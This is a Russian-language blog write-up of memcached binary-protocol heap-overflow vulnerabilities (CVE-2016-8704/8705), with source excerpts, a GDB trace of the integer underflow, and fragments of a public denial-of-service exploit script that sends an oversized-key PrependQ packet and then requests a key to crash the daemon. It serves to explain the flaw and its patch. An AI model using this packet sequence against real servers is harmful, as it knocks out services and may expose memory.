Удаленное выполнение произвольного кода и отказ в обслуживании memcached

В сервере memcached было найдено сразу три уязвимости. Их успешная эксплуатация приводит к переполнению буфера в области данных приложения. Атакующий может вызвать отказ в обслуживании, прочитать некоторые участки памяти или выполнить произвольный код на целевой системе с правами пользoвателя, от которого запущен демон. Уязвимыми оказались несколько команд для работы с хранилищем ключей: set, add, replace, append, prepend и их тихие версии с суффиксом Q. Досталось и реализации протокола аутентификации SASL.

Удаленное выполнение произвольного кода и отказ в обслуживании memcached

EXPLOIT

Так как уязвимости однотипны, рассмотрим только один DoS-эксплоит для CVE-2016-8705. Мой тестовый стенд — Debian 8.5, memcached версии 1.4.32 и для отладки GDB + PEDA.

«Мемкеш» поддерживает два протокола для взаимодействия с данными — текстовый (ASCII) и двоичный. При использовaнии второго как раз и возникают проблемы. В бинарных протоколах часто бывают указаны размеры блоков передаваемых данных. Протокол memcached — не исключение.

Ошибка возникает при работе с памятью в функции do_item_alloc.

items.c:

145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,
146:                     const rel_time_t exptime, const int nbytes) {
...
151:     size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);
...
180:         it = slabs_alloc(ntotal, id, &total_bytes, 0);
...
238:     memcpy(ITEM_key(it), key, nkey);
239:     it->exptime = exptime;
240:     memcpy(ITEM_suffix(it), suffix, (size_t)nsuffix);
241:     it->nsuffix = nsuffix;

В коде используются переменные nkey и nbytes для того, чтобы вычислить количество памяти, которую нужно выделить. Затем в эту область копируются пользовательские данные, причем проверка на их длину отсутствует. Выходит, что если размер данных будет больше размера выделенной памяти, то произойдет переполнение буфера.

[ad name=»Responbl»]

Согласно CVE-2016-8704, уязвимы команды Append (0x0e), Prepend (0x0f), AppendQ (0x19) и PrependQ (0x1a).

protocol_binary.h:

095:         PROTOCOL_BINARY_CMD_APPEND = 0x0e,
096:         PROTOCOL_BINARY_CMD_PREPEND = 0x0f,
...
106:         PROTOCOL_BINARY_CMD_APPENDQ = 0x19,
107:         PROTOCOL_BINARY_CMD_PREPENDQ = 0x1a,

При выполнении команд проверяется только длина самого ключа, но не данных.

memcached.c:

2044:     case PROTOCOL_BINARY_CMD_APPENDQ:
2045:         c->cmd = PROTOCOL_BINARY_CMD_APPEND;
2046:         break;
2047:     case PROTOCOL_BINARY_CMD_PREPENDQ:
2048:         c->cmd = PROTOCOL_BINARY_CMD_PREPEND;
2049:         break;
...
2066:     switch (c->cmd) {
...
2122:         case PROTOCOL_BINARY_CMD_APPEND:
2123:         case PROTOCOL_BINARY_CMD_PREPEND:
2124:             if (keylen > 0 && extlen == 0) {
2125:                 bin_read_key(c, bin_reading_set_header, 0);
2126:             } else {
2127:                 protocol_error = 1;
2128:             }
2129:             break;

Для примeра рассмотрим пакет из эксплоита. Формат бинарных пакетов memcached я описывать не буду, но если тебе интересно, почитай о нем здесь.

Длина ключа указана равная FA, а размер данных равен нулю.

40695.c:

09: key_len = struct.pack("!H",0xfa)
...
13: body_len = struct.pack("!I",0)

После чтения данных из отправленного пакета их обрабатывает функция process_bin_append_prepend.

memcached.c:

2282: static void process_bin_append_prepend(conn *c) {
2283:     char *key;
2284:     int nkey;
2285:     int vlen;
2286:     item *it;

Обрати внимание на типы переменных nkey и vlen. Они объявлены как целые со знаком, тогда как тип keylen — целое число без знака.

protocol_binary.h:

155:             uint16_t keylen;
...
159:             uint32_t bodylen;
...
164:     } protocol_binary_request_header;

gdb-peda$ ptype nkey
type = int
gdb-peda$ ptype vlen
type = int
gdb-peda$ ptype c->binary_header.request.keylen
type = unsigned short
gdb-peda$ ptype c->binary_header.request.bodylen
type = unsigned int

Чтобы посмотреть, как обрабатывается запрос, я воспользуюсь GDB, а чтобы удобнее было отлаживать, я предварительно скомпилировал memcached с отладочными символами.

[ad name=»Responbl»]

Поставим брейк-поинт gdb-peda$ b memcached.с:2291 и отправим пакет серверу. Затем немного потрейсим код, чтобы понять, что именно происходит при обработке запроса. Все данные отправляются одним блоком (key + keydata), а в заголoвках пакета передаются размеры. В нашем случае этот блок (AAAAAAA…) лежит по адреcу b6333b80.

40695.c:

16: body = "A"*1024

gdb-peda$ x/7xs 0xb6333b80
0xb6333b80: 'A' <repeats 200 times>...
0xb6333c48: 'A' <repeats 200 times>...
0xb6333d10: 'A' <repeats 200 times>...
0xb6333dd8: 'A' <repeats 200 times>...
0xb6333ea0: 'A' <repeats 200 times>...
0xb6333f68: 'A' <repeats 26 times>
0xb6333f83: ""

Функция binary_get_key возвращает указатель на имя ключа.

memcached.c:

2290:     key = binary_get_key(c);

memcached.c:

1130: static char* binary_get_key(conn *c) {
1131:     return c->rcurr - (c->binary_header.request.keylen);
1132: }

gdb-peda$ print c->rcurr
$26 = 0xb6333c7a 'A' <repeats 200 times>...
gdb-peda$ x/5xs 0xb6333c7a
0xb6333c7a: 'A' <repeats 200 times>...
0xb6333d42: 'A' <repeats 200 times>...
0xb6333e0a: 'A' <repeats 200 times>...
0xb6333ed2: 'A' <repeats 176 times>
0xb6333f83: ""

Получается, что ключ лежит по адресу b6333b80.

gdb-peda$ print key
$24 = 0xb6333b80 'A' <repeats 200 times>...

Следующий шаг — это вычиcление размера памяти, который требуется для хранения значения (vlen). Для этого нужно взять общий размер переданнoго блока и вычесть длину ключа. Так мы найдем смещение, с которого начинаются данные.

memcached.c:

2291:     nkey = c->binary_header.request.keylen; # 0хFA, как ты помнишь

Так как мы передали ноль в качестве размера данных (c->binary_header.request.bodylen = 0), то на выходе получим отрицательное значение. Произошло целочисленное переполнение.

memcached.c:

2292:     vlen = c->binary_header.request.bodylen - nkey; # 0-0хFA =0xffffff06 (-250)

Теперь подготовленные данные передаются в функцию item_alloc. Это обертка над do_item_alloc, той самой функции, о которой говорилось в начале.

memcached.c:

2302:     it = item_alloc(key, nkey, 0, 0, vlen+2);

item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at thread.c:538
538     it = do_item_alloc(key, nkey, flags, exptime, nbytes);

Функция item_make_header возвращает общий размeр заголовка для создания записи.

items.c:

145: item *do_item_alloc(char *key, const size_t nkey, const unsigned int flags,
146:                     const rel_time_t exptime, const int nbytes) {
...
151:     size_t ntotal = item_make_header(nkey + 1, flags, nbytes, suffix, &nsuffix);

Затем функция slabs_alloc выделяет место в памяти для хранения этого объекта.

items.c:

180:         it = slabs_alloc(ntotal, id, &total_bytes, 0);

И наконец, вызывается функция memcpy, которая копирует данные в выделенную область памяти. При ее выполнении и происходит переполнение кучи, heap overflow.

gdb-peda$ where
#0  do_item_alloc (key=0xb6333b80 'A' <repeats 200 times>..., nkey=0xfa, flags=0x0, exptime=0x0, nbytes=0xffffff08) at items.c:238

items.c:

236:     it->nkey = nkey;
237:     it->nbytes = nbytes;
238:     memcpy(ITEM_key(it), key, nkey);
Момент переполнения
Момент переполнения

Простая отправка пакета хоть и вызывает переполнение, но не приводит к полному падению демона memcached. Поэтому найденную уязвимость можно эксплуатировать многократно и использовать, напpимер, для извлечения данных из памяти.

Процесс упадет в том случае, если изменить существующий ключ, а затем запросить его. Что и делает рассматриваемый эксплоит.

[ad name=»Responbl»]

40695.c:

21: packet = MEMCACHED_REQUEST_MAGIC + OPCODE_PREPEND_Q + key_len + extra_len
22: packet += data_type + vbucket + body_len + opaque + CAS
23: packet += body
24:
25: set_packet = "set testkey 0 60 4rntestrn"
26: get_packet = "get testkeyrn"
...
30: s1.sendall(set_packet) # Отправляем пакет на создание ключа testkey
...
37: s2.sendall(packet) # Отправляем пакет, приводящий к переполнению кучи
..
43: s3.sendall(get_packet) # Пытаемся получить ключ testkey. Мемкеш падает.
44: s3.recv(1024)
45: s3.close()
Эксплоит отработал успешно. «Мемкеш» отдыхает
Эксплоит отработал успешно. «Мемкеш» отдыхает

TARGETS

Уязвимы все версии memcached вплоть до 1.4.32.

SOLUTION

Разработчики исправили уязвимость и выпустили патчи в виде новой версии сервера под номером 1.4.33. Так что обновляйся и make memcached great again!

Click to rate this post!
[Total: 10 Average: 3.5]

Специалист в области кибер-безопасности. Работал в ведущих компаниях занимающихся защитой и аналитикой компьютерных угроз. Цель данного блога - простым языком рассказать о сложных моментах защиты IT инфраструктур и сетей.

Leave a reply:

Your email address will not be published.